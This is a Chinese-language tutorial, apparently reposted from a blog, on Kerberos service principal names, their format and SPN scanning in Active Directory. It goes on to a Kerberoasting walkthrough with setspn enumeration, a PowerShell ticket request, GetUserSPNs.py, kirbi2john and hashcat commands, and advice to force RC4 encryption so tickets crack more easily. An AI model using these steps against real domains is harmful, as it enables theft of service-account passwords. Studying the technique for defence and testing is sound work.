kerberos中的spn詳解


 

0x01 SPN定義

   服務主體名稱(SPN)是Kerberos客戶端用於唯一標識給特定Kerberos目標計算機的服務實例名稱。Kerberos身份驗證使用SPN將服務實例與服務登錄帳戶相關聯。如果在整個林中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定的服務實例可以具有多個SPN。例如,SPN總是包含運行服務實例的主機名稱,所以服務實例可以為其主機的每個名稱或別名注冊一個SPN。

0x02 SPN掃描

spn掃描也可以叫掃描Kerberos服務實例名稱,在Active Directory環境中發現服務的最佳方法是通過“SPN掃描”。通過請求特定SPN​類型的服務主體名稱來查找服務,SPN掃描攻擊者通過網絡端口掃描的主要好處是SPN掃描不需要連接到網絡上的每個IP來檢查服務端口。SPN掃描通過LDAP查詢向域控制器執行服務發現。由於SPN查詢是普通Kerberos票據的一部分,因此如果不能被查詢,但可以用網絡端口掃描來確認。

1.SPN格式

SPN = serviceclass “/” hostname [“:”port] [“/” servicename]

serviceclass = mssql

servicename =sql.bk.com

其中:

serviceclass:標識服務類的字符串,例如Web服務的www

hostname:一個字符串,是系統的名稱。這應該是全限定域名(FQDN)。

port:一個數字,是該服務的端口號。

servicename:一個字符串,它是服務的專有名稱(DN),objectGuid,Internet主機名或全限定域名(FQDN)。

注意: 服務類和主機是必需參數,但 端口和服務名是可選的,主機和端口之間的冒號只有當端口存在時才需要

 

2.常見服務和spn服務實例名稱

MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433

Exchange

exchangeMDB/adsmsEXCAS01.adsecurity.org

RDP

TERMSERV/adsmsEXCAS01.adsecurity.org

WSMan / WinRM / PS Remoting

WSMAN/adsmsEXCAS01.adsecurity.org

Hyper-V Host

Microsoft Virtual Console Service/adsmsHV01.adsecurity.org

VMWare VCenter

STS/adsmsVC01.adsecurity.org

2.SPN掃描的ps腳本

發現mssql服務中的spn服務實例名稱:

https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers

其他的SPN服務實例名查詢:

https://github.com/PyroTek3/PowerShell-AD-Recon

由於每台服務器都需要注冊用於Kerberos身份驗證服務的SPN,因此這為在不進行端口掃描的情況下收集有關環境的信息提供了一個完美的方法。

例如:

管理員在名為“MetcorpKCS17”的服務器上安裝和配置Microsoft SQL Server,並使用偵聽端口3170 3&3171的SQL實例。

那么服務類和實例名稱產生是這樣的:

MSSQLSvc/MetcorpKCS17.adsecurity.org:3170
MSSQLSvc/MetcorpKCS17.adsecurity.org:3171

藍色的部分是服務類,橙色的部分是計算機的FQDN,綠色的最后一部分是網絡端口號由於Kerberos將SPN請求與目錄中的現有SPN相匹配,因此最后的數字不一定是服務在服務器上偵聽的端口。如上所述,大多數情況下SPN中記錄的端口是服務器上的監聽端口,並非所有的SPN都包含一個端口。現在,我們有一個更好的方法來發現Active Directory域或森林中的SQL服務器:ServicePrincipalName=MSSQL*

0x03 SPN掃描和破解TGS Tickets

以MSSQL服務配置SPN為例

參考配置地址:
https://technet.microsoft.com/zh-cn/library/bb735885.aspx

1.為 SQL Server 服務帳戶注冊SPN

手動注冊:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
對應的命名實例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname

2.查看用戶對應的SPN:
setspn -L ruos\sql-service

3.使用ADSI(adsiedit.msc)查看用戶屬性

 

 

4. 在AD上為用戶指定服務登陸權限。

GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment
Log on as a service

 

 

5..更改 SQL Server 服務帳戶為域用戶帳戶

6.暴力破解Kerberos TGS Tickets

由於加密類型是RC4_HMAC_MD5,Kerberos協議第四步TGS-REP將會返回用服務帳戶的NTLM密碼哈希加密的票據。

7.SPN掃描

setspn -T domain -q */*

或者
https://github.com/PyroTek3/PowerShell-AD-Recon/

 

8.請求SPN Kerberos Tickets

PS C:\> Add-Type -AssemblyName System.IdentityModel

PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS"

9. 查看並導出票據

 

 

默認配置加密類型是aes256_hmac,tgsrepcrack無法破解,可在服務器組策略指定加密類型為RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options
Network security: Configure encryption types allowed for Kerberos

10.離線破解

tgsrepcrack(僅對RC4_HMAC_MD5),或者保存hash使用hashcat破解。

 

導出hash(用於其他加密類型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者從票據中導出 kirbi2john.py 1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force

也可以參考其他破解工具如下:

https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py

0x04 Active Directory服務主體名稱(SPN)的綜合參考表

注意:

域控制器自動將公共SPN映射到主機SPN中。計算機加入到域時,主機SPN自動添加到所有計算機帳戶的ServicePrincipalName屬性。域控制器SPN映射由SPNMappings中的以下位置中的屬性控制:

“CN=Directory Service,CN=WindowsNT,CN=Services,CN=Configuration

SPN自動映射到HOST(SPNMapping屬性值):

alerter

appmgmt

cisvc

clipsrv

browser

dhcp

dnscache

replicator

eventlog

eventsystem

policyagent

oakley

dmserver

dns

mcsvc

fax

msiserver

ias

messenger

netlogon

netman

netdde

netddedsm

nmagent

plugplay

protectedstorage

rasman

rpclocator

rpc

rpcss

remoteaccess

rsvp

samss

scardsvr

scesrv

seclogon

scm

dcom

cifs

spooler

snmp

schedule

tapisrv

trksvr

trkwks

ups

time

wins

www

http

w3svc

iisadmin

msdtc

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM